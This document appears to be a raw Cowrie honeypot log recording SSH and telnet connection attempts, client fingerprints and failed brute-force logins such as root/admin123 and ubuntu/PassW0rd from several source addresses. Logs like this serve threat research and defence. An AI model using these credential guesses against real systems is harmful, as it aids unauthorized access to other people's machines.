{"eventid":"cowrie.session.connect","src_ip":"66.132.172.42","src_port":46416,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bc52c5bd3b9","protocol":"telnet","message":"New connection: 66.132.172.42:46416 (159.203.135.109:23) [session: 3bc52c5bd3b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:38.179061Z"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":38240,"dst_ip":"159.203.135.109","dst_port":22,"session":"243f11c56b6d","protocol":"ssh","message":"New connection: 222.167.161.198:38240 (159.203.135.109:22) [session: 243f11c56b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:40.637247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:40.641962Z","src_ip":"222.167.161.198","session":"243f11c56b6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:40.915378Z","src_ip":"222.167.161.198","session":"243f11c56b6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"PassW0rd","message":"login attempt [ubuntu/PassW0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:42.038559Z","src_ip":"222.167.161.198","session":"243f11c56b6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:43.314567Z","src_ip":"222.167.161.198","session":"243f11c56b6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":59812,"dst_ip":"159.203.135.109","dst_port":22,"session":"7545041b5372","protocol":"ssh","message":"New connection: 40.81.244.142:59812 (159.203.135.109:22) [session: 7545041b5372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:46.200060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:46.205268Z","src_ip":"40.81.244.142","session":"7545041b5372","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:46.393037Z","src_ip":"40.81.244.142","session":"7545041b5372","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"QWEasd123!","message":"login attempt [ubuntu/QWEasd123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:47.177109Z","src_ip":"40.81.244.142","session":"7545041b5372","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:48.367403Z","src_ip":"40.81.244.142","session":"7545041b5372","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":47124,"dst_ip":"159.203.135.109","dst_port":22,"session":"e087ca79d5c3","protocol":"ssh","message":"New connection: 101.36.124.127:47124 (159.203.135.109:22) [session: e087ca79d5c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:49.592971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:49.597517Z","src_ip":"101.36.124.127","session":"e087ca79d5c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":53290,"dst_ip":"159.203.135.109","dst_port":22,"session":"800e365ef6e0","protocol":"ssh","message":"New connection: 58.69.56.44:53290 (159.203.135.109:22) [session: 800e365ef6e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:49.786307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:49.789939Z","src_ip":"58.69.56.44","session":"800e365ef6e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:49.804562Z","src_ip":"101.36.124.127","session":"e087ca79d5c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:50.029348Z","src_ip":"58.69.56.44","session":"800e365ef6e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"5tgb6yhn","message":"login attempt [ubuntu/5tgb6yhn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:50.668636Z","src_ip":"101.36.124.127","session":"e087ca79d5c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:50.994741Z","src_ip":"58.69.56.44","session":"800e365ef6e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:51.879126Z","src_ip":"101.36.124.127","session":"e087ca79d5c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:52.235374Z","src_ip":"58.69.56.44","session":"800e365ef6e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.328824043273926,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:53.507711Z","src_ip":"66.132.172.42","session":"3bc52c5bd3b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.42","src_port":15866,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b013fc5b26e","protocol":"telnet","message":"New connection: 66.132.172.42:15866 (159.203.135.109:23) [session: 1b013fc5b26e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:56.849123Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.116","src_port":16842,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f32e1b2630d","protocol":"telnet","message":"New connection: 66.132.195.116:16842 (159.203.135.109:23) [session: 6f32e1b2630d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:00.057325Z"}
{"eventid":"cowrie.session.closed","duration":3.555279016494751,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:00.404286Z","src_ip":"66.132.172.42","session":"1b013fc5b26e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.42","src_port":15932,"dst_ip":"159.203.135.109","dst_port":23,"session":"e029ccac3640","protocol":"telnet","message":"New connection: 66.132.172.42:15932 (159.203.135.109:23) [session: e029ccac3640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:04.856643Z"}
{"eventid":"cowrie.session.closed","duration":9.42341685295105,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:14.279935Z","src_ip":"66.132.172.42","session":"e029ccac3640","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.167082786560059,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:15.224257Z","src_ip":"66.132.195.116","session":"6f32e1b2630d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.116","src_port":32612,"dst_ip":"159.203.135.109","dst_port":23,"session":"883a4548011a","protocol":"telnet","message":"New connection: 66.132.195.116:32612 (159.203.135.109:23) [session: 883a4548011a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:31.298438Z"}
{"eventid":"cowrie.session.closed","duration":4.526031255722046,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:35.824344Z","src_ip":"66.132.195.116","session":"883a4548011a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.116","src_port":60782,"dst_ip":"159.203.135.109","dst_port":23,"session":"c340193d10f2","protocol":"telnet","message":"New connection: 66.132.195.116:60782 (159.203.135.109:23) [session: c340193d10f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:39.039069Z"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":55134,"dst_ip":"159.203.135.109","dst_port":22,"session":"edac2d7ed899","protocol":"ssh","message":"New connection: 222.167.161.198:55134 (159.203.135.109:22) [session: edac2d7ed899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:43.224021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:43.228472Z","src_ip":"222.167.161.198","session":"edac2d7ed899","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:43.491222Z","src_ip":"222.167.161.198","session":"edac2d7ed899","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abc123!@#","message":"login attempt [ubuntu/abc123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:44.569160Z","src_ip":"222.167.161.198","session":"edac2d7ed899","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:45.835165Z","src_ip":"222.167.161.198","session":"edac2d7ed899","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":46238,"dst_ip":"159.203.135.109","dst_port":22,"session":"b08fcfeb77db","protocol":"ssh","message":"New connection: 101.36.124.127:46238 (159.203.135.109:22) [session: b08fcfeb77db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:46.077780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:46.086895Z","src_ip":"101.36.124.127","session":"b08fcfeb77db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":41318,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffff61225027","protocol":"ssh","message":"New connection: 40.81.244.142:41318 (159.203.135.109:22) [session: ffff61225027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:46.179837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:46.185053Z","src_ip":"40.81.244.142","session":"ffff61225027","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:46.297359Z","src_ip":"101.36.124.127","session":"b08fcfeb77db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:46.387051Z","src_ip":"40.81.244.142","session":"ffff61225027","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"apache123","message":"login attempt [ubuntu/apache123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:47.175855Z","src_ip":"101.36.124.127","session":"b08fcfeb77db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"Password1","message":"login attempt [bitrix/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:47.220141Z","src_ip":"40.81.244.142","session":"ffff61225027","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":42250,"dst_ip":"159.203.135.109","dst_port":22,"session":"32c50c0cc769","protocol":"ssh","message":"New connection: 58.69.56.44:42250 (159.203.135.109:22) [session: 32c50c0cc769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:47.831632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:47.836138Z","src_ip":"58.69.56.44","session":"32c50c0cc769","protocol":"ssh"}
